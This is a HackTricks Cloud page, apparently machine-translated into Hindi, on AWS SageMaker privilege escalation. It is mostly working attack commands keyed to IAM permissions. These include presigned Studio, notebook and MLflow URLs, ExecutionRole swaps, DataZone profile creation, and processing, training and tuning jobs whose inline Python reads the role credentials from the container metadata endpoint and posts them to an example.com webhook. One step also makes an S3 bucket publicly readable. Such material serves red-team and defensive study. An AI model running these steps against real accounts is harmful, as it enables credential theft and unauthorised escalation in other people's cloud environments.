AWS - Sagemaker Privesc
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
access के लिए attached IAM Role के साथ notebook बनाना शुरू करें:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
प्रतिक्रिया में NotebookInstanceArn फ़ील्ड होना चाहिए, जो नए बनाए गए नोटबुक इंस्टेंस का ARN रखेगा। इसके बाद हम create-presigned-notebook-instance-url API का उपयोग करके एक URL जनरेट कर सकते हैं जिसका उपयोग हम नोटबुक इंस्टेंस को तैयार होने पर एक्सेस करने के लिए कर सकते हैं:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
ब्राउज़र में URL पर जाएँ और ऊपर दाहिने में `Open JupyterLab`` पर क्लिक करें, फिर “Launcher” टैब तक नीचे स्क्रॉल करें और “Other” सेक्शन के अंतर्गत “Terminal” बटन पर क्लिक करें।
अब IAM Role के metadata credentials तक पहुँच संभव है।
संभावित प्रभाव: Privesc to the निर्दिष्ट sagemaker service role.
sagemaker:CreatePresignedNotebookInstanceUrl
यदि उस पर Jupyter notebooks पहले से चल रहे हैं और आप उन्हें sagemaker:ListNotebookInstances के साथ सूचीबद्ध कर सकते हैं (या किसी अन्य तरीके से खोज लेते हैं), तो आप उनके लिए एक URL जनरेट कर सकते हैं, उन तक पहुँच सकते हैं, और पिछले तकनीक में बताये गए तरीके के अनुसार credentials चुरा सकते हैं।
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
संभावित प्रभाव: Privesc to the sagemaker service role attached.
sagemaker:CreatePresignedDomainUrl
Warning
यह attack केवल पुराने पारंपरिक SageMaker Studio domains पर काम करता है, उन पर नहीं जो SageMaker Unified Studio द्वारा बनाए गए हैं। Unified Studio के domains यह error लौटाएंगे: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.
एक identity जिसके पास target Studio UserProfile पर sagemaker:CreatePresignedDomainUrl कॉल करने की permission है, वह उस profile के रूप में सीधे SageMaker Studio में authenticate करने वाला एक login URL बना सकता है। इससे attacker के browser को एक Studio session मिलता है जो profile के ExecutionRole permissions और profile के EFS-backed home और apps तक पूरा access देता है। किसी iam:PassRole या console access की आवश्यकता नहीं है।
आवश्यकताएँ:
- एक SageMaker Studio
Domainऔर उसके भीतर एक लक्ष्यUserProfile. - attacker principal को लक्ष्य
UserProfileपरsagemaker:CreatePresignedDomainUrlकी आवश्यकता होती है (resource‑level) या*.
Minimal policy example (scoped to one UserProfile):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
दुरुपयोग के चरण:
- उस Studio Domain और UserProfiles की सूचीबद्ध करें जिन्हें आप लक्षित कर सकते हैं
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- जांचें कि unified studio का उपयोग नहीं हो रहा है (attack केवल पारंपरिक SageMaker Studio डोमेन्स पर काम करता है)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- एक presigned URL बनाएं (डिफ़ॉल्ट रूप से ~5 मिनट के लिए वैध)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- लौटाई गई URL को किसी ब्राउज़र में खोलें और लक्ष्य उपयोगकर्ता के रूप में Studio में साइन-इन करें। Studio के अंदर Jupyter टर्मिनल में effective identity को सत्यापित करें या token को exfiltrate करें:
aws sts get-caller-identity
नोट:
--landing-uriछोड़ा जा सकता है। कुछ मान (जैसे,app:JupyterLab:/lab) Studio के flavour/version पर निर्भर करके अस्वीकार किए जा सकते हैं; डिफ़ॉल्ट आम तौर पर Studio होम और फिर Jupyter पर रीडाइरेक्ट करते हैं।- Org policies/VPC endpoint restrictions अभी भी नेटवर्क एक्सेस को ब्लॉक कर सकते हैं; token minting के लिए कंसोल साइन‑इन या
iam:PassRoleकी आवश्यकता नहीं होती।
Potential Impact: Lateral movement and privilege escalation by assuming any Studio UserProfile whose ARN is permitted, inheriting its ExecutionRole and filesystem/apps.
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
एक identity जिसके पास target SageMaker MLflow Tracking Server के लिए sagemaker:CreatePresignedMlflowTrackingServerUrl (और बाद में पहुँच के लिए sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments) कॉल करने की अनुमति है, एक single‑use presigned URL mint कर सकता/सकती है जो उस सर्वर के managed MLflow UI में सीधे authenticate करता/करती है। इससे वैध उपयोगकर्ता को जो पहुँच मिलती है वही पहुँच मिलती है (experiments और runs को view/create करना, और सर्वर के S3 artifact store में artifacts download/upload करना)।
आवश्यकताएँ:
- account/region में एक SageMaker MLflow Tracking Server और उसका नाम।
- attacker principal को target MLflow Tracking Server resource (या
*) परsagemaker:CreatePresignedMlflowTrackingServerUrlकी आवश्यकता है।
दुरुपयोग के कदम:
- अपनी पहुँच में आने वाले MLflow Tracking Servers को सूचीबद्ध करें और एक नाम चुनें
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- एक presigned MLflow UI URL जनरेट करें (थोड़े समय के लिए वैध)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- लौटाए गए URL को किसी ब्राउज़र में खोलें ताकि उस Tracking Server के लिए एक प्रमाणीकृत उपयोगकर्ता के रूप में MLflow UI तक पहुँच सकें।
Potential Impact: लक्षित Tracking Server के प्रबंधित MLflow UI तक प्रत्यक्ष पहुँच, जिससे सर्वर की कॉन्फ़िगरेशन द्वारा लागू अनुमतियों के भीतर experiments/runs को देखने और संशोधित करने तथा सर्वर के कॉन्फ़िगर किए गए S3 artifact store में संग्रहीत artifacts को प्राप्त करने या अपलोड करने की क्षमता मिलती है।
sagemaker:CreateProcessingJob, iam:PassRole
उन अनुमतियों वाले एक हमलावर द्वारा SageMaker के साथ एक SageMaker role संलग्न कराके SageMaker से एक processing job execute कराया जा सकता है। AWS Deep Learning Containers में से किसी एक का पुन: उपयोग करके जिसमें पहले से Python शामिल होता है (और job को उसी region में चलाते हुए जहाँ URI है), आप अपनी खुद की images बनाए बिना inline कोड चला सकते हैं:
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Potential Impact: निर्दिष्ट sagemaker service role पर Privesc।
sagemaker:CreateTrainingJob, iam:PassRole
उन अनुमतियों वाले एक हमलावर उस निर्दिष्ट role के साथ मनमाना कोड चलाने वाला एक training job लॉन्च कर सकता है। SageMaker के आधिकारिक कंटेनर का उपयोग करके और entrypoint को payload inline से ओवरराइट करके, आपको अपनी खुद की इमेजेज़ बनाने की ज़रूरत नहीं है:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
संभावित प्रभाव: Privesc निर्दिष्ट SageMaker service role तक।
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
उन अनुमतियों वाले attacker HyperParameter Tuning Job लॉन्च कर सकते हैं जो दिए गए role के तहत attacker-controlled code चलाता है। Script mode में payload को S3 में होस्ट करना आवश्यक है, लेकिन सभी कदम CLI से स्वचालित किए जा सकते हैं:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
प्रक्रिया द्वारा लॉन्च किया गया प्रत्येक प्रशिक्षण मेट्रिक को प्रिंट करता है और निर्दिष्ट role की क्रेडेंशियल्स को exfiltrate करता है।
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
यदि किसी के पास SageMaker Studio User Profile को update करने, एक app बनाने, ऐप के लिए presigned URL बनाने और iam:PassRole की अनुमति हो, तो attacker ExecutionRole को किसी भी IAM role पर सेट कर सकता है जिसे SageMaker service principal assume कर सकता है। उस profile के लिए लॉन्च की गई नई Studio apps स्वैप की गई role के साथ चलेंगी, जिससे Jupyter terminals या Studio से लॉन्च किए गए jobs के माध्यम से interactive elevated permissions मिलेंगी।
Warning
यह attack तभी संभव है जब profile में कोई applications न हों, अन्यथा app creation इस तरह की त्रुटि के साथ विफल हो जाएगा:
An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.यदि कोई app मौजूद है तो उन्हें हटाने के लिए पहले आपकोsagemaker:DeleteApppermission की आवश्यकता होगी।
कदम:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potential Impact: Privilege escalation — निर्दिष्ट SageMaker execution role की permissions तक पहुँच बनाना, interactive Studio sessions के लिए।
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
SageMaker Studio Domain को update करने, एक app और app के लिए एक presigned URL बनाने और iam:PassRole की permissions होने पर, एक attacker डिफ़ॉल्ट domain ExecutionRole को किसी भी IAM role पर सेट कर सकता है जिसे SageMaker service principal assume कर सकता है. उस profile के लिए लॉन्च किए गए नए Studio apps उस बदले हुए role के साथ चलेंगे, जिससे Jupyter terminals या Studio से लॉन्च किए गए jobs के माध्यम से interactive elevated permissions मिल सकते हैं।
Warning
यह attack इसलिए आवश्यक है कि domain में कोई applications न हों अन्यथा app creation इस error के साथ fail हो जाएगा:
An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
कदम:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potential Impact: interactive Studio sessions के दौरान निर्दिष्ट SageMaker execution role की permissions तक Privilege escalation.
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
जिसे किसी टारगेट UserProfile के लिए SageMaker Studio app create करने की अनुमति है, वह उस प्रोफ़ाइल के ExecutionRole के साथ चलने वाला JupyterServer app लॉन्च कर सकता है। यह Jupyter terminals या Studio से लॉन्च किए गए jobs के माध्यम से उस role की permissions तक interactive access प्रदान करता है।
कदम:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
संभावित प्रभाव: लक्ष्य UserProfile से जुड़ी SageMaker निष्पादन भूमिका तक इंटरैक्टिव पहुँच।
iam:GetUser, datazone:CreateUserProfile
एक हमलावर जिनके पास ये अनुमतियाँ हैं, वे उस उपयोगकर्ता के लिए DataZone User Profile बनाकर एक IAM user को Sagemaker Unified Studio Domain में पहुँच दे सकते हैं।
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
Unified Domain URL का फॉर्मैट निम्नलिखित है: https://<domain-id>.sagemaker.<region>.on.aws/ (e.g. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).
संभावित प्रभाव: Sagemaker Unified Studio Domain तक एक user के रूप में पहुँच मिलना, Sagemaker domain के अंदर मौजूद सभी resources तक पहुँचने में सक्षम होना, और यहाँ तक कि उन role पर escalate privieleges कर पाना जिन्हें Sagemaker Unified Studio Domain के अंदर के notebooks उपयोग कर रहे हैं।
संदर्भ
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

